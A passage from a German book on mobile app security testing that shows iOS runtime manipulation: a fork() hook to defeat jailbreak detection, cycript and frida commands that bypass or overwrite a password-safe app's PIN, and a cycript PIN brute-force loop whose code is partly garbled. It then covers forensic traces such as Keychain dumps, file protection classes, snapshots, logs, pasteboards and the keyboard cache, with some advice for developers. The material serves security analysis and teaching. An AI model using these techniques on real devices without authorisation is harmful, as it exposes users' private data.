return -1;
}
%ctor{MSHookFunction((void*)fork,(void*)new_fork,(void**)&original_fork);}
Codebeispiel 6–12: Erstellung eines weiteren Tweaks mittels Logos
Möchten wir die beiden so erstellten Tweaks nun auf dem Testgerät ausführen
um die Jailbreak-Erkennung zu umgehen, müssen wir sie nur noch mittels make
kompilieren und die so erzeugten Dynamic Libraries auf das Gerät in das Verzeichnis
/Library/MobileSubstrate/DynamicLibraries/ kopieren.
Startet man nun die Applikation, die man in den Bundle filter des Tweaks
eingetragen hat, so wird beim Aufruf der Methode isDeviceJailbroken automatisch
der Wert NO zurückgeliefert und die Methode wird nicht weiter ausgeführt.
Wenn dies die einzigen beiden Prüfroutinen waren, um einen Jailbreak zu erken-

6.3 iOS-Applikationen zur Laufzeit manipulieren 153
nen, haben wir die Applikation mit unserem Tweak überlistet und sie erkennt das
Gerät als vertrauenswürdig an.
Meist verwenden Entwickler an mehreren Stellen solche Prüfroutinen, um es
einem Angreifer möglichst schwer zu machen, die Prüfung zu manipulieren. Die
Kunst des Analysten liegt darin, all diese Methoden zu finden und, wie hier beschrieben,
entsprechende Laufzeitmanipulationen mittels Tweaks vorzunehmen.
6.3.2 Umgehen der Applikations-PIN
Laufzeitmanipulationen sind aber nicht nur beim Umgehen der Jailbreak-Erkennung
sinnvoll, sondern auch an Stellen, wo man z. B. PIN-Abfragen von Applikationen
umgehen muss wie bei der Applikation aus Abbildung 6–7.
Abb. 6–7: Passwort-Safe-Applikation mit einer PIN-Abfrage, um vor unberechtigtem Zugriff
zu schützen
Diese Applikation benötigt eine 4-stellige PIN, um an die hinterlegten Daten zu
gelangen. Da wir diese PIN nicht kennen, wollen wir nun versuchen, trotzdem
in die Applikation zu kommen. Hierzu gibt es generell drei Methoden, die wir
nachfolgend verwenden werden:
1. Umgehen des Bildschirms zur PIN-Abfrage
2. Überschreiben der PIN
3. Brute-Forcing der PIN im Hintergrund

154 6 Sicherheitsprobleme bei iOS-Applikationen
Umgehen des Bildschirms zur PIN-Abfrage
Die erste Methode, um in die eigentliche Applikation und die darin gespeicherten
Daten zu gelangen, ist die wohl zugleich einfachste. Wir versuchen die PIN-
Abfrage einfach zu umgehen. Dies funktioniert immer dann, wenn die PIN nicht
zum Entschlüsseln der Daten benötigt wird, oder wenn zu einem späteren Zeitpunkt
nicht geprüft wird, ob die PIN wirklich eingegeben wurde.
Das allgemeine Vorgehen ist auch hier wieder identisch zu dem in Abschnitt
5.3 gezeigten: Auffinden der Applikation, Entschlüsseln und anschließender
Download auf den Analyserechner. Hier startet nun die Detektivarbeit, wie
wir sie auch schon im vorherigen Abschnitt angeschnitten hatten: Wir suchen
mittels class-dump nach Klassen, die Bildschirmanzeigen – sogenannte Views –
beschreiben. Dies liefert bei unserer zu analysierenden Applikation eine recht lange
Liste mit den folgenden interessanten Inhalten (siehe Codebeispiel 6–13):
@interface MainView : XXUnknownSuperclass {
....
}
Codebeispiel 6–13: Interessante Views innerhalb unserer zu analysierender Applikation
Dieses Interface hört sich ganz nach dem eigentlichen Hauptbildschirm der Applikation
an, der nach erfolgreicher Prüfung der PIN angezeigt wird. Im Folgenden
wollen wir testen, ob wir an diesen Bildschirm auch dann gelangen, wenn wir die
PIN nicht wissen, und ob dann auch alle Nutzerdaten vorhanden sind. Dazu müssen
wir cycript an die laufende Applikation anhängen und der UIApp.keyWindow-
Variablen sagen, dass nicht die PIN-Abfrage, sondern der MainView angezeigt werden
soll (siehe dazu Codebeispiel 6–14).
# zuerst benötigen wir die PID der zu analysierenden Applikation
$: ps aux | grep Password\ Keeper\ Lite
mobile 793 17.8 4.2 646236 43688 ?? Ss 5:42PM 0:04.03 /var/mobile/Containers/
Bundle/Application/7AA5C9A9-633A-462E-8479-8C4952C79F84/Password Keeper
Lite.app/Password Keeper Lite
# nun verbinden wir cycript mit der laufenden Applikation
$: cycript -p 793
cy:

6.3 iOS-Applikationen zur Laufzeit manipulieren 155
# in diesem Schritt teilen wir der Applikation mit, dass sie uns die MainView
anzeigen soll und nicht die PIN-Abfrage
cy: UIApp.keyWindow.rootViewController = [[MainView alloc] init];
""
cy:
Codebeispiel 6–14: Umgehen der PIN-Abfrage mittels cycript
Bei dieser Applikation funktioniert der gezeigte Angriff und wir sind an der PIN-
Abfrage vorbeigekommen und können nun alles sehen, was der legitime Nutzer
eingegeben hat. Doch das ist nicht immer so einfach möglich, da viele Entwickler
sich diesen Angriffen bewusst sind und die Daten – gerade bei solchen Applikationen
– mit der Nutzer-PIN verschlüsseln. In diesem Fall ist es nötig, die reale
PIN zu wissen, um die Daten lesen zu können.
Überschreiben der vom Nutzer hinterlegten PIN
In manchen Situationen ist es durchaus sinnvoll, einfach die PIN des Nutzers zu
überschreiben, um so Zugriff auf die Applikation zu bekommen. Das können
wir mit der Hilfe von Snoop-it erreichen (siehe dazu Abbildung 6–8) oder mittels
frida wie in Codebeispiel 6–15 gezeigt.
Python 2.7.10 (default, Oct 23 2015, 19:19:21)
[GCC 4.2.1 Compatible Apple LLVM 7.0.0 (clang-700.0.59.5)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import frida,sys
>>> frida.get_device_manager().enumerate_devices()
[Device(id="local", name="Local System", type='local'),
Device(id="tcp", name="Local TCP", type='remote'),
Device(id="460683e35xxxx02526d", name="iPhone", type='tether')]
>>> jscode = """
... var AppDelegate = ObjC.use("AppDelegate");
... AppDelegate.newPassword_("1111");
... """
>>> process = frida.get_device_manager().enumerate_devices()[2].attach(793)
>>> session = process.session
>>> script = session.create_script(jscode)
>>> script.load()
Codebeispiel 6–15: Überschreiben der Nutzer-PIN mittels frida

156 6 Sicherheitsprobleme bei iOS-Applikationen
Abb. 6–8: Überschreiben der Nutzer-PIN mittels Snoop-it

6.3 iOS-Applikationen zur Laufzeit manipulieren 157
In diesem einfachen Beispiel einer Instrumentation mithilfe von frida können wir
das grobe Vorgehen sehr gut erkennen. Wir starten die interaktive Python-Shell
auf unserem Analyserechner und importieren zuerst die frida-Bindings für Python.
Danach schreiben wir ein kleines Codefragment in JavaScript, das später
mit frida ausgeführt wird. Der Aufbau des Skriptes ist vergleichbar mit dem,
wie wir es in cycript auch machen würden. Wir suchen die entsprechende Klasse
(AppDelegate) und die darin benötigte Methode (newPassword). Dieser übergeben
wir die neue PIN, die wir gerne gesetzt hätten.
Im Nachgang verbinden wir frida mit unserem angeschlossenen Gerät und
koppeln unser Skript mit der PID 793 (das ist die laufende Applikation, die wir
manipulieren möchten). Die richtige PID finden wir über die Eingabe von frida-ps
-U heraus und das passende Endgerät erhalten wir über den zweiten Codeschnipsel
in Codebeispiel 6–15 (frida.get_device_manager().enumerate_devices()). Hierbei
ist nur wichtig darauf zu achten, dass man nicht die id verwendet, die dieser
Aufruf zurückgibt, sondern bei 0 beginnend die Listenelemente durchzählt. So
erhalten wir als id für unser Testgerät die 2.
Brute-Forcing der Applikations-PIN
In vielen Fällen kann es sinnvoll sein, die PIN eines Nutzers bei einer gewissen
Applikation per Brute-Force-Angriff zu erraten. Dies ist nicht nur dann wichtig,
wenn es wie im Abschnitt zuvor gezeigt darum geht, auf die Applikation selbst
zuzugreifen, sondern auch in Fällen, wo auf dem Endgerät noch mehr Applikationen
mit PIN-Sperren vorhanden sind. Hier kann man davon ausgehen, dass
überall dieselbe – oder zumindest eine ähnliche – PIN verwendet wird, und man
muss nicht bei jeder Applikation die zuvor gezeigten Angriffe vornehmen.
Auch hier helfen uns wieder cycript und class-dump. Wenn wir uns nochmals
die Ausgabe von class-dump ansehen, so finden wir auch eine Methode mit dem
Namen checkPassword innerhalb der delegate-Klasse. Diese Methode können wir
verwenden, um eine PIN zu prüfen (wie in Codebeispiel 6–16 gezeigt).
# zuerst benötigen wir die PID der zu analysierenden Applikation
$: ps aux | grep Password\ Keeper\ Lite
mobile 793 17.8 4.2 646236 43688 ?? Ss 5:42PM 0:04.03 /var/mobile/Containers/
Bundle/Application/7AA5C9A9-633A-462E-8479-8C4952C79F84/Password Keeper
Lite.app/Password Keeper Lite
# nun verbinden wir cycript mit der laufenden Applikation
$: cycript -p 793
cy:

158 6 Sicherheitsprobleme bei iOS-Applikationen
# in diesem Schritt prüfen wir eine PIN
cy: [UIApp.delegate checkPassword:"4711"]
0
cy:
Codebeispiel 6–16: Prüfen einer PIN mittels cycript
Wie wir anhand der Rückgabe der Methode sehen, war 4711 die falsche PIN.
Aber dies können wir nun auch nutzen, um eine einfache Funktion in cycript zu
schreiben, die uns per Brute-Force-Angriff die richtige PIN ermittelt – immerhin
gibt es bei 4-stelligen PINs nur 10.000 verschiedene PINs und diese sind auf
heutigen Smartphones in relativ kurzer Zeit zu testen. Die fertige Funktion zeigt
Codebeispiel 6–17.
cy: var pin=0000;
0000
cy: function bruteforcePIN()
cy> {
cy> for(var i=0; i {
cy> var result = [UIApp.delegate checkPassword:""+i];
cy> if(result=="1") pin=i;
cy> }
cy> }
cy: bruteforcePIN()
cy: print:pin;
4242
Codebeispiel 6–17: Brute-Force-Angriff auf eine PIN mittels cycript
Hier sehen wir, dass die PIN für die Applikation 4242 lautet. Man muss allerdings
dazusagen, dass diese Applikation keinen Zähler für falsch eingegebene PINs besitzt,
ansonsten müssten wir nach jedem Versuch diesen Zähler wieder auf 0 zu
setzen versuchen, bevor wir den kritischen Wert erreichen und die Daten innerhalb
der Applikation u. U. gelöscht werden.

6.4 Spurensuche im Dateisystem 159
6.4 Spurensuche im Dateisystem
Wie wir schon bei Android in Abschnitt 4.7 gesehen haben, besteht eine der wichtigsten
Aufgaben, die jeder Penetrationstester verfolgen sollte, darin, die Speicherung
der Daten zu analysieren, die eine Applikation verarbeitet. Auch bei iOS
lassen sich hier sehr häufig Hinweise auf Nutzerdaten (wie z. B. Passwörter und
Applikations-PINs) und sensible Dokumente finden, die mit der Applikation zuvor
verarbeitet wurden.
Im Gegensatz zu Android gibt es bei iOS aktuell keinen bekannten Weg, wie
man an der Bildschirmsperre oder der Geräteverschlüsselung vorbeikommt, ohne
dass man die Mitarbeit des Nutzers erhält. Es gibt Sonderfälle – wie z. B. das
zeitgleiche Analysieren eines mit dem iOS-Endgerät gekoppelten PCs oder das
Vorhandensein des Zugriffs auf das iCloud-Backup –, auf die wir im Rahmen
dieses Buches aber nicht näher eingehen möchten.
Da wir in diesem Buch den Sicherheitsanalysten im Fokus haben – und dieser
meist auch im Besitz des Codes für die Bildschirmsperre ist –, gehen wir davon
aus, dass der Zugriff auf das iOS-Endgerät nicht eingeschränkt ist. Im Rahmen
der kommenden Abschnitte zeigen wir interessante Daten und deren Speicherort,
die für einen Sicherheitsanalysten immer einen Blick wert sind. Zu diesen Orten
zählen neben der bekannten Keychain (Abschnitt 6.4.1) vor allem die Snapshots
der Applikation (Abschnitt 6.4.3) und die Cache-Dateien des Betriebssystems
(Abschnitt 6.4.6).
6.4.1 Die Keychain und ihre Daten
In Abschnitt 1.2.3 haben wir bereits die Grundfunktionen und verschiedenen
Schutzklassen der Keychain kennengelernt. Im Folgenden soll verdeutlicht werden,
weshalb es wichtig ist, die Inhalte der Keychain sowie die unterschiedlichen
Schutzklassen genau zu betrachten.
Um die gesamte Keychain auslesen zu können, verwenden wir wie in Abschnitt
6.1.5 gezeigt das Tool Keychain-Dumper. Der damit erzeugte Dump,
beinhaltet die komplette Keychain mit allen dort hinterlegten Passwörtern, Nutzernamen
und Zertifikaten. Doch bei vielen Applikationen findet man hier auch
die PIN, mit der die Applikation vor unberechtigten Dritten geschützt wird
(wie am Beispiel von einer Office-Applikation mit Passwortschutz in Codebeispiel
6–18 zu sehen). Diese PIN kann uns oft weiterhelfen, um zu verifizieren, ob
gewisse – sensible – Daten überhaupt in der Applikation vorhanden sind und ob
sie anhand dieser PIN verschlüsselt abgelegt werden.

160 6 Sicherheitsprobleme bei iOS-Applikationen
Generic Password
----------------
Service:
Account:
Entitlement Group: 9ZYVGY3S6N.com.bytesquared.office2ipad
Label:
Generic Field: com.bytesquared.office2hd.app_passcode
Keychain Data: 5566
Codebeispiel 6–18: Applikations-PIN unverschlüsselt in der Keychain
Noch wichtiger ist jedoch die Überprüfung, welche Schutzklassen Daten haben,
die in der Keychain abgelegt werden. Für besonders kritische Daten erwartet
man von einer Applikation, dass sie diese mit einer Nutzer-PIN verschlüsselt in
der Keychain ablegt. Hiermit wird eine zusätzliche Schutzschicht eingezogen, die
auch durch einen Jailbreak nicht ohne Weiteres umgangen werden kann.
Aber wie sieht es mit anderen – zumeist ebenfalls kritischen – Daten aus? Hier
möchte man als Sicherheitsanalyst, dass stets das höchstmögliche Schutzniveau
gewählt wird, das verfügbar ist (vergleiche dazu auch Tabelle 1–3). Im Falle der
Keychain also kSecAttrAccessibleWhenUnlocked.
Um dies zu prüfen, können wir auf einige der bereits vorgestellten Tools zurückgreifen
(z. B. Snoop-it und idb). Im folgenden Beispiel wählen wir eine Third-
Party-Notes-Applikation und Snoop-it, um uns anzeigen zu lassen, welche Daten
in der Keychain abgelegt werden und welche entsprechenden Schutzklassen von
den Applikationsentwicklern gewählt wurden (siehe Abbildung 6–9).
In diesem Beispiel zeigt uns Snoop-it schon direkt an, dass die Zugriffe auf
die Keychain (zu sehen an den ausgefüllten Kreisen links in der Abbildung) grün
Abb. 6–9: Auswertung der Keychain-Zugriffe einer Third-Party-Notes-Applikation mittels
Snoop-it

6.4 Spurensuche im Dateisystem 161
sind, was so viel bedeutet wie: Der maximale Schutz ist für diesen Eintrag in der
Keychain gewählt worden. Dies ist jedoch nicht bei allen Applikationen so.
6.4.2 Die Applikations-Sandbox und ihre Daten
Wie wir auch schon bei Android gesehen haben, besitzt jede Applikation bei iOS
eine eigene Sandbox – also einen geschützten Bereich, in dem sie ihre Daten verwalten
und sichern kann. Neben den in den folgenden Abschnitten beschriebenen
Dateien finden sich hier vornehmlich SQLite-Datenbanken, plist-Dateien und alles,
was die Applikation noch verarbeitet.
Beim Analysieren dieser Dateien gibt es zwei wesentliche Fragestellungen,
denen wir als Analyst nachgehen müssen:
■
■
Was speichert die Applikation in ihrer Sandbox überhaupt?
Wie speichert sie es?
Die zweite Frage ist in den meisten Fällen deutlich einfacher zu beantworten,
da es hierfür ausreicht, die NSFileProtection-Level der verwendeten Dateien und
Verzeichnisse zu prüfen. Hierfür können wir wieder die zuvor erwähnten Tools
Snoop-it, idb oder auch FileDP verwenden.
Zuerst wird mit idb gezeigt, wie einfach herauszufinden ist, welche Schutzklassen
auf Dateisystemebene verwendet werden. Dazu wählen wir eine weitere
Applikation zum angeblich sicheren Speichern von Notizen: Notes Locker.
Wie in Abbildung 6–10 zu sehen ist, besitzt die Applikation mehrere Verzeichnisse
innerhalb ihrer Sandbox (von idb als Data Dir bezeichnet). Von besonderem
Interesse sind bei solchen Analysen immer Dateien innerhalb des
Documents-Verzeichnisses und natürlich auch das Preferences-Verzeichnis (auf deren
Inhalt werden wir später noch zurückkommen). Betrachten wir die markierten
Bereiche, so sehen wir, dass es innerhalb von Documents eine Datei namens
notesLocker.sqlite gibt, die jedoch nur eine Schutzklasse von NSFileProtection-
None besitzt, also keinerlei der von iOS vorgegebenen Verschlüsselungsstufen verwendet.
Dies bedeutet, dass diese Datei zu keinem Zeitpunkt verschlüsselt auf
dem Gerät vorliegt. Eine solche Einstellung sollte nur dann der Fall sein, wenn
keinerlei Daten, die den Nutzer betreffen, innerhalb dieser Datenbank liegen.
Doch wenn man sich deren Inhalt genauer betrachtet, so sieht man, dass hier
alle Notizen des Nutzers gesichert und somit für jeden Angreifer frei zugänglich
sind (siehe Abbildung 6–11).
Dies zeigt recht anschaulich, dass der Sperrbildschirm der Applikation, der
nur mit korrekter 4-stelliger PIN umgangen werden kann, nur vor einem unberechtigten
Dritten schützt, der über die GUI versucht, Daten zu entwenden.
Doch sobald ein Angreifer Zugriff auf Dateisystemebene oder mittels forensischer
Werkzeuge besitzt, sind die Notizen nicht länger geschützt. Betrachten wir nun
noch das schon erwähnte Preferences-Verzeichnis, so sehen wir eine plist-Datei,

162 6 Sicherheitsprobleme bei iOS-Applikationen
Abb. 6–10: Auswertung der Schutzklassen auf Dateisystemebene der Notes Locker Applikation
mittels idb
Abb. 6–11: Analyse der notesLocker.sqlite-Datei
die per NSFileProtectionCompleteUntilFirstUserAuthentication geschützt ist. Also
immer dann verschlüsselt ist, wenn das Smartphone oder Tablet ausgeschaltet ist
oder nach dem Reboot kein Nutzer auf dem Endgerät den Bildschirm entsperrt
hat. Dies ist eine sehr häufige Schutzklasse, da sie der Defaultwert auf iOS 9.x-
Endgeräten ist, sollte der Entwickler nichts anderes angegeben haben. Prinzipiell
ist dies für die meisten Dateien auch vollkommen ausreichend, jedoch sollte für

6.4 Spurensuche im Dateisystem 163
Dateien mit kritischem Inhalt die Klasse NSFileProtectionComplete gewählt werden
(die Unterschiede dieser beiden Klassen sind in Abschnitt 1.2.3 beschrieben).
Sobald wir einen Blick in diese plist-Datei werfen, sehen wir, dass hier gleich
mehrere Fehler des Entwicklers gemacht wurden (siehe Abbildung 6–12). Zum
einen beinhaltet diese Datei die sehr kritische PIN 4711, die zum Entsperren der
Applikation selbst benötigt wird, im Klartext. Zum anderen besitzt sie mit der
PIN und dem vom Nutzer eingegebenen Passworthinweis this is the hint auch
kritischen Inhalt und sollte mit der höchstmöglichen Schutzklasse geschützt werden.
Abb. 6–12: Analyse der plist-Datei von Notes Locker
Möchten wir bei einer Analyse die Schutzklassen von allen Dateien innerhalb
der Sandbox auf einen Blick erhalten, so geht dies unter Verwendung von FileDP
(siehe dazu auch Abschnitt 6.1.6) deutlich einfacher. Codebeispiel 6–19 zeigt dies
am Beispiel der gerade beschriebenen Applikation.
$: ./FileDP -d /private/var/mobile/Containers/Data/Application/8AA4F1C7
-8475-44F7-A448-FF733D756B3A/
2016-03-30 17:13:54.056 FileDP[1004:28036] file name is:/private/var/mobile/
Containers/Data/Application/8AA4F1C7-8475-44F7-A448-FF733D756B3A/.com.
apple.mobile_container_manager.metadata.plist - protection class:
NSFileProtectionNone
2016-03-30 17:13:54.062 FileDP[1004:28036] file name is:/private/var/mobile/
Containers/Data/Application/8AA4F1C7-8475-44F7-A448-FF733D756B3A/
Documents/notesLocker.sqlite - protection class:NSFileProtectionNone
....
2016-03-30 17:13:54.067 FileDP[1004:28036] file name is:/private/var/mobile/
Containers/Data/Application/8AA4F1C7-8475-44F7-A448-FF733D756B3A/Library
/Caches/Snapshots/com.redstonztechnologies.noteslockerfree/20B23C58-B9CD
-4469-A795-AE4C216AEF9A@2x.png - protection class:
NSFileProtectionCompleteUnlessOpen

164 6 Sicherheitsprobleme bei iOS-Applikationen
2016-03-30 17:13:54.069 FileDP[1004:28036] file name is:/private/var/mobile/
Containers/Data/Application/8AA4F1C7-8475-44F7-A448-FF733D756B3A/Library
/Caches/Snapshots/com.redstonztechnologies.noteslockerfree/downscaled/
E462634B-0F8F-4F66-B6CD-C265D0626190@2x.png - protection class:
NSFileProtectionCompleteUnlessOpen
....
2016-03-30 17:13:54.115 FileDP[1004:28036] file name is:/private/var/mobile/
Containers/Data/Application/8AA4F1C7-8475-44F7-A448-FF733D756B3A/Library
/Preferences/com.redstonztechnologies.noteslockerfree.plist - protection
class:NSFileProtectionCompleteUntilFirstUserAuthentication
2016-03-30 17:13:54.116 FileDP[1004:28036] file name is:/private/var/mobile/
Containers/Data/Application/8AA4F1C7-8475-44F7-A448-FF733D756B3A/
StoreKit/receipt - protection class:
NSFileProtectionCompleteUntilFirstUserAuthentication
Codebeispiel 6–19: Auswertung der Schutzklassen auf Dateisystemebene der Applikation
Notes Locker mittels FileDP
Wie wir gerade schon gesehen haben, sind die Schutzklassen ein wichtiger Aspekt
einer Analyse, jedoch sind die eigentlichen Inhalte der innerhalb der Sandbox gesicherten
Daten noch viel interessanter. Dies wird noch deutlicher, wenn wir das
Beispiel Skype betrachten. Hier hat es uns Microsoft noch etwas einfacher gemacht,
denn dieses Mal benötigen wir weder einen Jailbreak noch weitere Tools,
es reicht die Verwendung von iTunes, wie in Abbildung 6–13 zu sehen ist.
Hierüber erhalten wir alle Verläufe, die der Nutzer der Skype-Applikation
auf diesem iOS-Endgerät mit seinen Kontakten geführt hat, und dies in sehr übersichtlichen
plist-Dateien. So etwas sollte für solch sensible Daten jedoch in professionellen
Applikationen nicht vorkommen und stellt hier eher die Ausnahme –
oder einen Bug – dar.
Das soeben anhand von zwei Applikationen demonstrierte Vorgehen zeigt
aber auch, dass man sich die Dateien in der Sandbox sehr gründlich anschauen
sollte, da hier meist die wichtigsten Informationen aus forensischer Sicht liegen,
teilweise sogar PINs oder Passwörter, die eine tiefere Analyse deutlich erleichtern.
6.4.3 Der Snapshot einer Applikation
Apple hat in iOS eine für den Nutzer hilfreiche und hübsche Funktion eingebaut,
die es ermöglicht, beim Wechsel zwischen einzelnen Applikationen zu sehen, was
der zuletzt angezeigte Bildschirm der jeweiligen Applikation war. Hierzu erzeugt
iOS sogenannte Snapshots, also Schnappschüsse, der Applikation und speichert
diese innerhalb der Sandbox. Dies geschieht immer dann, wenn der Nutzer eine
Applikation verlässt, um zurück zum Homescreen zu kommen (z. B. durch
Drücken der Home-Taste), beim Sperren des Bildschirms oder wenn ein Anruf

6.4 Spurensuche im Dateisystem 165
Abb. 6–13: Chat-Verlauf von Skype mittels iTunes auslesen
eingeht und die gerade verwendete Applikation in den Hintergrund verschoben
wird. Wie man sich gut vorstellen kann, können diese Snapshots auch vertrauliche
Inhalte haben, wenn z. B. ein Anruf eingeht, während der Nutzer gerade dabei
war, eine E-Mail zu schreiben.
Abbildung 6–14 zeigt sehr schön, dass Chrome den Inhalt der Webseite in
einem Snapshot speichert, bevor er in den Hintergrund geschickt wird, Applikationen
wie Signal oder Threema jedoch diesen Snapshot mit einem vordefinierten
leeren Bild ersetzen, sodass keine sensiblen Informationen in einem Snapshot gespeichert
werden. Auch Banking-Applikationen sollten dieses Verhalten an den
Tag legen, da deren Inhalte prinzipiell nicht für Dritte bestimmt sind.
Für uns als Analysten ist es natürlich wichtig, zu wissen, wo wir diese
Snapshots im Dateisystem finden können, da sie oft wichtige Informationen beinhalten,
die u. U. auf dem Endgerät sonst nur verschlüsselt – oder im schlechtesten
Fall – gar nicht mehr vorhanden sind. Dazu müssen wir auf dem iOS-Endgerät
in das zur fragwürdigen Applikation gehörende Sandbox-Verzeichnis navigieren.
Dort findet sich im Ordner /var/mobile/Containers/Data/Application/
/Library/Caches/Snapshots/ oder
/var/mobile/Containers/Data/Application//Library/Caches/
Snapshots//downscaled/ meist eine Datei mit der
Endung png. Der Unterschied der beiden Dateien liegt lediglich darin, dass sie
den Snapshot in verschiedenen Auflösungen speichern.

166 6 Sicherheitsprobleme bei iOS-Applikationen
Abb. 6–14: iOS-Taskmanager mit Snapshots verschiedener Applikationen
Diese Dateien können bei einer Analyse einer Applikation sehr wichtig sein und
sollten daher immer betrachtet werden.
Für Applikationen, die vertrauliche oder kritische Inhalte verarbeiten sollen,
bietet iOS über die willEnterBackground-API die Möglichkeit, diesen Snapshot
durch ein vordefiniertes Bild zu ersetzen (wie dies in der Applikation aussehen
könnte, siehe Codebeispiel 6–20).
- (void)applicationDidEnterBackground:(UIApplication *)application
{
UIImageView *imageView = [[UIImageView alloc]
initWithFrame:self.window.bounds];
imageView.tag = 101;
[imageView setImage:[UIImage imageNamed:@"Default.png"]];
[UIApplication.sharedApplication.keyWindow.subviews.lastObject
addSubview:imageView];
}
Codebeispiel 6–20: Erzeugen eines Splash Screen, der verhindert, dass Daten der Applikation
in einem Snapshot enthalten sind

6.4 Spurensuche im Dateisystem 167
6.4.4 Die systemeigenen Logs
Entwickler mögen es, wenn sie während der Entwicklung von Applikationen Logausgaben
verwenden können, um zu sehen, ob ihre Applikation auch das macht,
was sie von ihr erwarten. Aus der PC-Welt kennen wir das, dort wird häufig –
abhängig von der verwendeten Programmiersprache – printf() verwendet; bei
Skriptsprachen ist es hingegen meist etwas wie print() oder console.log(). Vergleichbares
gibt es auch bei iOS, hier heißt es NSLog.
Der große Nachteil an NSLog ist jedoch, dass diese Ausgaben dort längere Zeit
gecacht werden und jedem zur Verfügung stehen, der im physischen Besitz des
entsprechenden iOS-Endgerätes ist. Dazu reicht es, wenn man das Gerät per USB
mit einem Analyserechner und Xcode verbindet und dort in die Device-Ansicht
wechselt (siehe Abbildung 6–15).
Abb. 6–15: Xcode mit der Logausgabe eines verbundenen iOS-Endgerätes
Selbige Ausgaben können wir auch mittels des in Abschnitt 6.1.3 beschriebenen
Tools idb beschaffen, in dem wir dort einfach auf den Button Log klicken (siehe
Abbildung 6–16).
In diesen beiden Abbildungen sieht man sehr schön, dass hier per NSLog der
Name des erfolgreich eingeloggten Nutzers ausgegeben wird. Dies sollte bei Applikationen,
die den Betastatus verlassen haben oder bereits über die offiziellen
Stores verteilt werden, nie der Fall sein. Leider sehen wir ein solches Verhalten
aber öfter, weshalb das sorgfältige Prüfen der Logausgaben immer zu den Aufgaben
eines Analysten gehört.

168 6 Sicherheitsprobleme bei iOS-Applikationen
Abb. 6–16: idb mit der Logausgabe eines verbundenen iOS-Endgerätes
6.4.5 Die Zwischenablage
Zwischenablagen (engl. Pasteboards) gibt es auch in iOS und sie machen das
Leben für den Nutzer um ein ganzes Stück einfacher. Jedoch haben die meisten
dieser Pasteboards auch ein großes Problem, sobald es um Sicherheit geht: Sie
haben keinerlei Zugriffsschutz.
iOS bietet mehrere Typen von Pasteboards an, aus denen ein Entwickler wählen
kann, möchte er die gewünschte Funktionalität in seine Applikation integrieren:
■
■
■
UIPasteBoardNameGeneral: Diese Zwischenablage ist der eigentliche Default.
Immer wenn ein Nutzer Text oder Objekte kopiert oder ausschneidet, landen
sie hier. Die Inhalte sind öffentlich.
UIPasteBoardNameFind: Diese Zwischenablage speichert alle Werte, die in Suchfelder
des Typs UISearchBar eingegeben werden. Die Inhalte sind jedoch ebenfalls
öffentlich.
pasteBoardWithName sowie auch pasteBoardWithUniqueName sind seit iOS 7 private
Zwischenablagen, auf die nur Applikationen zugreifen können, die in
einer vorher definierten Gruppe Mitglied sind.
Möchte man also zwischen mehreren eigenen Applikationen Daten austauschen,
und zwar so, dass keine andere Applikation darauf zugreifen kann, so kann man
eine eigene Gruppe definieren und Daten über ein Pasteboard des Typs paste-
BoardWithUniqueName austauschen. Hierbei kann man als Entwickler sogar zulassen,
dass dieses Pasteboard nach einem Neustart noch vollständig vorhanden ist.
Der Nachteil ist jedoch auch leicht erklärt: Diese Pasteboards werden von iOS
im Dateisystem unter dem Pfad /private/var/mobile/Library/Caches/com.apple
.UIKit.pboard/ abgelegt und genau dort sind sie für einen Angreifer oder Analysten
auch einfach zu finden. Wer nicht manuell durch das Dateisystem suchen
möchte, kann an dieser Stelle auch idb verwenden, das Tool erlaubt es, sowohl

6.4 Spurensuche im Dateisystem 169
die öffentlichen als auch privaten Pasteboards (sofern man ihren Namen kennt)
auszulesen.
Verwendet eine Applikation hingegen die öffentlichen Pasteboards UIPaste-
BoardNameGeneral und UIPasteBoardNameFind, so kann jede andere Applikation –
auch ohne Jailbreak – auf diese Zwischenablagen zugreifen und dort nach speziellen
Werten oder Inhalten suchen. Gerade Passwortmanager sind hierfür anfällig,
da sie die gespeicherten Passwörter in die Zwischenablage schieben, um
sie in jeder anderen Applikation für den Nutzer verfügbar zu machen, wenn er
dies wünscht. In Abbildung 6–17 sehen wir die Zwischenablage, nachdem wir innerhalb
einer Notiz einen Textausschnitt kopiert haben, um ihn in einer anderen
Applikation wieder einfügen zu können.
Abb. 6–17: iOS-Zwischenablage
Eine Sicherheitsmaßnahme gibt es jedoch: Der Entwickler einer solchen Applikation
kann veranlassen, dass die Zwischenablage gelöscht wird, sobald die Applikation,
die die Daten in das entsprechende Pasteboard gelegt hat, geschlossen
wird (dies gelingt durch Setzen von pasteBoard.items = nil beim Schließen der
Applikation). Hiermit kann man zwar einen Angriff nicht vermeiden, aber der
Zeitraum in dem ein solcher Angriff erfolgreich ist, wird deutlich reduziert.
6.4.6 Die systemeigenen Caches
iOS besitzt eine Vielzahl von Caches, in denen vertrauliche oder zumindest sensible
Daten des Nutzers oder einer Applikation landen können. Im Folgenden
werden wir uns jedoch nur auf die beiden – aus Analystensicht wichtigsten –
Caches des iOS-Systems beschränken:
■
■
Keyboard-Cache
HTTP-Response-Cache
Keyboard-Cache
Der Keyboard-Cache wird von iOS standardmäßig bei allen Eingaben des Nutzers
verwendet, um die automatische Rechtschreibkorrektur zu verbessern und
auf den Nutzer des Smartphones oder Tablets besser abzustimmen. Hierzu speichert
iOS jedes getippte Wort in eine spezielle Datei im Dateisystem de_DE-

170 6 Sicherheitsprobleme bei iOS-Applikationen
dynamic-text.dat (je nach eingestellter Sprache hat diese Datei ein anderes Präfix).
Diese Datei finden wir unter /var/mobile/Library/Keyboard/. In einem Unterverzeichnis
hiervon finden wir auch das Nutzerwörterbuch, das alle Wörter enthält,
die der Nutzer verwendet hat, iOS aber zuvor nicht in seinem systemeigenen Wörterbuch
gelistet hatte.
Da sehr häufig gerade Passwörter und Nutzernamen, aber auch Namen von
neuen Produkten bzw. interne Projektnamen, Kombinationen aus Buchstaben
enthalten, die nicht im systemeigenen Wörterbuch stehen, liegen die Chancen
groß, dass es diese Wörter in den Keyboard-Cache – aber vor allem auch in
das Nutzerwörterbuch – schaffen. Um dies zu verhindern, kann der Entwickler
Eingabefelder, von denen er weiß, dass sie sensible Daten verarbeiten (wie
z. B. Passwortfelder), dagegen schützen, dass deren Inhalt in den Keyboard-Cache
wandert. Dies gelingt durch explizites Setzen der secureTextEntry = YES-Markierung
oder durch Ausschluss von der Autokorrektur per autocorrectionType =
UITextAutocorrectionTypeNo.
HTTP-Response-Cache
Im Gegensatz zum Keyboard-Cache aus dem vorherigen Abschnitt ist der HTTP-
